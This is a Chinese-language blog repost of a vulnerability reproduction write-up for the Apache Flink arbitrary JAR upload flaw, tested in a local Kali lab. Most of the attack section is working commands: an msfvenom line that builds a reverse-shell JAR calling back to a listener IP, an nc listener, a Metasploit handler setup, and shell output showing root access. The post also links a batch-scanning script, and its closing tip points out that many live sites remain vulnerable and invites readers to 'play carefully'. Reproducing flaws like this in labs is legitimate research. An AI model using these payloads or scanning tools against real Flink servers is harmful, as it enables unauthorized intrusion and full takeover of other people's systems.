Apache Flink任意Jar包上传漏洞复现

0×01前言

周三的时候,安全网站上看到有一个新爆出的关于Aapche Flink的JAR包上传导致任意代码执行的漏洞。周四在看的时候已经出了一部分POC和抓取相关漏洞机器的代码,放在编译器里跑了一下好像不行。最后在周五的时候找了相关Apache环境复现一下这个漏洞。其实到现在漏洞出现才第二天,很多机器仍存在这个问题,谨慎使用,最后附上Github上批量检测脚本。

如有错误的地方,请大佬们指出,我将马上更改,同时感谢各个平台大佬们发布的资料及文件。

0×02漏洞危险等级

恶意JAR包上传,导致任意命令执行,反弹shellroot权限。

Apache Flink任意Jar包上传漏洞复现

属于高危漏洞

0×03漏洞概述

Apache Flink的任意Jar包上传导致远程代码执行的漏洞。攻击者只需要自己定制一个恶意jar上传,即可达到攻击目的。

影响版本:

<= 1.9.1(最新版本)

镜像下载地址:

https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

Apache Flink相关描述:

https://www.jianshu.com/p/a4d0e00e313b

0×04漏洞复现

在网站上下载相关的版本的tgz包,解压到Kali上

Apache Flink任意Jar包上传漏洞复现

Cd 到解压文件的bin目录

root@kali:~/Desktop/flink-1.9.1/bin# ./start-cluster.sh

Starting cluster.

Starting standalonesession daemon on host kali.

Starting taskexecutor daemon on host kali.

Apache Flink任意Jar包上传漏洞复现

root@kali:~/Desktop/flink-1.9.1/bin# service apache2 start【开启Apache服务】

打开 http://ip 地址:8081进入apache flink的默认管理目录

Apache Flink任意Jar包上传漏洞复现

Kali生成恶意jar包,并且输出到桌面:

root@kali:~/Desktop/flink-1.9.1/bin# msfvenom -p java/shell_reverse_tcp lhost=192.168.28.139 lport=5555 -f jar >/root/Desktop/shell.jar

Apache Flink任意Jar包上传漏洞复现

Cat shell.jsp也可以查看源码

Apache Flink任意Jar包上传漏洞复现

剩下要做的就是在默认的flink管理目录下点击submit new job上传恶意jar包

同时nc -nlvp 5555 ,监听5555端口

Apache Flink任意Jar包上传漏洞复现

Apache Flink任意Jar包上传漏洞复现 Apache Flink任意Jar包上传漏洞复现

Apache Flink任意Jar包上传漏洞复现

root@kali:~/Desktop/flink-1.9.1/bin# nc -nlvp 5555

listening on [any] 5555 …

connect to [192.168.28.139] from (UNKNOWN) [192.168.28.139] 36302

id

uid=0(root) gid=0(root) 组=0(root)

whoami

root

pwd

/root/Desktop/flink-1.9.1/bin

Apache Flink任意Jar包上传漏洞复现

成功反弹shell,同时是root权限

第二种反弹shell的方式

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload java/shell_reverse_tcp
payload => java/shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.28.139
lhost => 192.168.28.139
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > run

Apache Flink任意Jar包上传漏洞复现

反弹shell

Apache Flink任意Jar包上传漏洞复现

导入python模块显示用户

Apache Flink任意Jar包上传漏洞复现

0×05批量检测脚本

Github源码网站:

https://github.com/AleWong/Apache-Flink-Web-Dashboard-RCE

参考文献/资料来源:

https://blog.csdn.net/sun1318578251/article/details/103056168

https://www.cnblogs.com/Cl0wn/p/11855160.html

Tips: 漏洞前天才出来,现在仍有大量网站存在这样的漏洞,大佬们小心的玩。

0×06漏洞修补

对上传的jar包内容进行前端和后端校验

或者开设登录8081时界面的身份验证

更多专业的等方法,等补丁的发布。

小白第一次记录学习笔记,希望大佬们给予更多的建议和技术上的帮助。谢谢~

*本文作者:ShShroudroud,转载请注明来自FreeBuf.COM

原文 

https://www.freebuf.com/vuls/220252.html

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » Apache Flink任意Jar包上传漏洞复现

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址